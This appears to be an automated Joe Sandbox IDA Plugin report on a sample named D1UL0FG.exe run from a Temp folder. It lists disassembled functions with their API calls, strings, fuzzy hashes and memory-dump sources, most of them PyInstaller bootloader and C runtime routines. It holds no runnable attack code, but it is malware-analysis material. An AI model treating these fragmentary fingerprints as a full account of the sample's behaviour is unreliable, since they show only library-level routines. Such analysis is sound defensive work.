Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
Instruction ID: 2611c3228e4e072f99ac7daf1c7310118be4910334ca85d52c2e44a4c44d2ef2
Opcode Fuzzy Hash: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
Instruction Fuzzy Hash: 57113C23E3D24782F9587325546227E13414F59730F4887B8D97ECA2F2DE3DB801A301

Function 00007FF67AEE6010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE6176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE622C

Strings

verbose, xrefs: 00007FF67AEE6020

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: b794151ac2e2be251bcb9b7728c8607c800a55adc27bdaa26b4fea030429d853
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 3E91DF33A2CA4681F762AE28D45037D73A1AB44B94F444176DA9EC73E6DF3CE805A302

Function 00007FF67AEEFC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEFF17

Part of subcall function 00007FF67AEE7AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE7AC9

Strings

ccs, xrefs: 00007FF67AEEFE52
UTF-16LEUNICODE, xrefs: 00007FF67AEEFEB5
UTF-8, xrefs: 00007FF67AEEFE96

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: db7d6e1f5c1a643dc1519314539446ccaa9f6f0f31b074e72d4fdf170bbecf2e
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 05819D33E2C24285F7646F2981503793BA0AB11B58FE580B5DA0DD72BADF2DF901E701

Function 00007FF67AEDD6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF67AEDD6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF67AEDD77A
RtlUnwindEx.KERNEL32 ref: 00007FF67AEDD7D4

Strings

csm, xrefs: 00007FF67AEDD761

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: c74a6c1eb0b8eb6344ef07313ca52e52fd130f8db6193bf14769008e3a0f6bcc
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: 4251C337B2B6428ADB15EF15E484A783795EB84B98F2041B4DA4D877A8EF3CE841D700

Function 00007FF67AEDF2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF67AEDF320
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF67AEDF408

Strings

csm, xrefs: 00007FF67AEDF45A
csm, xrefs: 00007FF67AEDF342

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction ID: b3bb8f1faed0b69e03748649c3796e1feb07037086f257150ef2776c9b117dae
Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction Fuzzy Hash: D051913392838286EB64EF21954436877A0FB95B98F289275DA5D877E9CF3CE850D700

Function 00007FF67AEDEF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF67AEDEFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF67AEDEFF3

Strings

RCC, xrefs: 00007FF67AEDEFC3
MOC, xrefs: 00007FF67AEDEFBB

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: 4d45a1bd54269c5c6fc4062e62b8a95757e7898f49d469dda6b1bc23e81ce9a1
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: CA619133918BC585E760EB15E4403AAB7A0FBC5B94F144269EB9C87BA9DF7CD190CB00

Function 00007FF67AED7E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF67AED352C,?,00000000,00007FF67AED3F23), ref: 00007FF67AED7F22

Strings

%s%c, xrefs: 00007FF67AED7E94
%.*s, xrefs: 00007FF67AED7EDB
\, xrefs: 00007FF67AED7E87

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction ID: 23802568c6ccab5b5b1b57424590c5ade0ac70b5ce3517d4e6518026249558ca
Opcode Fuzzy Hash: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction Fuzzy Hash: 0331E622739AC149EA31AB20E8507EA6354EFC4BE4F541271EE6D877E9DF2CD641DB00

Function 00007FF67AED2810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF67AED28EA

Strings

Error, xrefs: 00007FF67AED28DD
ERROR, xrefs: 00007FF67AED286F
[PYI-%d:%ls] , xrefs: 00007FF67AED2868

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: 124081f46d344ce07242c9511651fcbb61625576befa83f9967deb589ebbf2e3
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: A021AE73B28B8186E750AB64F8447EA63A4EB88780F404136EA8D97669DE3CD649D740

Function 00007FF67AEEC610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF67AEEC68F
WriteFile.KERNEL32 ref: 00007FF67AEEC957
WriteFile.KERNEL32 ref: 00007FF67AEEC99D
GetLastError.KERNEL32 ref: 00007FF67AEECA53

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: 25cffcac6c308c1d911f80ef2d5985f7324c656dbe1a42ab008ba0bc66a79432
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: EBD13273B28A818AF710DF74D4402AC37B1FB84798B048276DE5E97BA9DE38D456D780

Function 00007FF67AEEF9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF67AEEFAEC
_get_daylight.LIBCMT ref: 00007FF67AEEFAFD
_get_daylight.LIBCMT ref: 00007FF67AEEFB0E
_isindst.LIBCMT ref: 00007FF67AEEFBD9

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 10c56d16edc8ce774b309087459a0f5709734dadeac67502bc7988c8abfcf43d
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: B1510473F2C2158AFB24EF6499616BC37A1AB40358F914279DE1ED2AF5DF38A4029700

Function 00007FF67AEE57EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF67AEE581F
GetFileInformationByHandle.KERNEL32 ref: 00007FF67AEE5881
GetLastError.KERNEL32 ref: 00007FF67AEE5912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67AEE5724), ref: 00007FF67AEE595E

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction ID: 4a3e458223fc3d5335aa9743605ae703e2afd08582acde6e135e2aecfd1f83b1
Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction Fuzzy Hash: 01518F23E286418AFB10EFB1D4503BD23A1FB48B98F148579DE5D976A9DF38D441D720

Function 00007FF67AED20C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF67AED20F4
SetWindowLongPtrW.USER32 ref: 00007FF67AED2116
GetWindowLongPtrW.USER32 ref: 00007FF67AED2140
InvalidateRect.USER32 ref: 00007FF67AED2160

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 3b3b8af1745ae865bf48ce2594468a64a44ccb6198796e99dc8e3b9130f0227a
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: B711A932B2C14282F654A769F64427A5252EFC4780F98C074DB4947BA9DD2DD8D5E600

Function 00007FF67AEDD080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF67AEDD0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF67AEDD0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF67AEDD0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF67AEDD0D6

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: 5599cfb3d23e029742ee504dcece9105c60dab53edeb8fa6f9d016d85c4cf59a
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: 16114522B24B0ACAEB40DB60E8442A933A4FB19758F440E35EA6D867A4DF3CD1588340

Function 00007FF67AEF5B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67AEF17D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF1803

_get_daylight.LIBCMT ref: 00007FF67AEF5CA4
_get_daylight.LIBCMT ref: 00007FF67AEF5CB5

Strings

?, xrefs: 00007FF67AEF5C35

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction ID: 07ca307dfe24972e1085f23b7e02e2018b70b1bf25b10b42bbcecd75f8bde3c8
Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction Fuzzy Hash: DA412813A2C78242FBA4AB25F40137A6790EBA0BA4F144279EE5D87AF5DF3DD541DB00

Function 00007FF67AEE9084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE90B6

Part of subcall function 00007FF67AEEA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9CE
Part of subcall function 00007FF67AEEA9B8: GetLastError.KERNEL32(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF67AEDCC15), ref: 00007FF67AEE90D4

Strings

C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, xrefs: 00007FF67AEE90C2

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe
API String ID: 3580290477-1075608045
Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction ID: 1eaa4b620d65d1167b525d564f01c72e049bd763d75ceb8213aeea71616cf9e1
Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction Fuzzy Hash: DE417D73A2CB5286FB14EF25E8900BD63E4EF447D0B554075EA4E83BA5DE3DE8819340

Function 00007FF67AEECCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF67AEECDBF
GetLastError.KERNEL32 ref: 00007FF67AEECDE1

Strings

U, xrefs: 00007FF67AEECD6B

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: 36159fc43ec5a3f4997be3bbefe2bca9038f51860b30d1743edf442ec718850a
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: 8241C373B28A8585EB609F65E4443BA6760FB88794F404035EE4DC7BA8EF3DD451DB40

Function 00007FF67AEEF628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF67AEEF668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF67AEEF6BA

Strings

:, xrefs: 00007FF67AEEF67E

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
Instruction ID: 1effbd518c66fb1945d5406363462a7ac6157f37c9dc05a6e1c250a08e9f3362
Opcode Fuzzy Hash: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
Instruction Fuzzy Hash: 8A21F673A2C28282FB20AB11D05427D73B1FB84B44FD58079DA8C876A4DF7CEA45DB81

Function 00007FF67AEDFDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF67AEDFE08
RaiseException.KERNEL32 ref: 00007FF67AEDFE49

Strings

csm, xrefs: 00007FF67AEDFE36

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
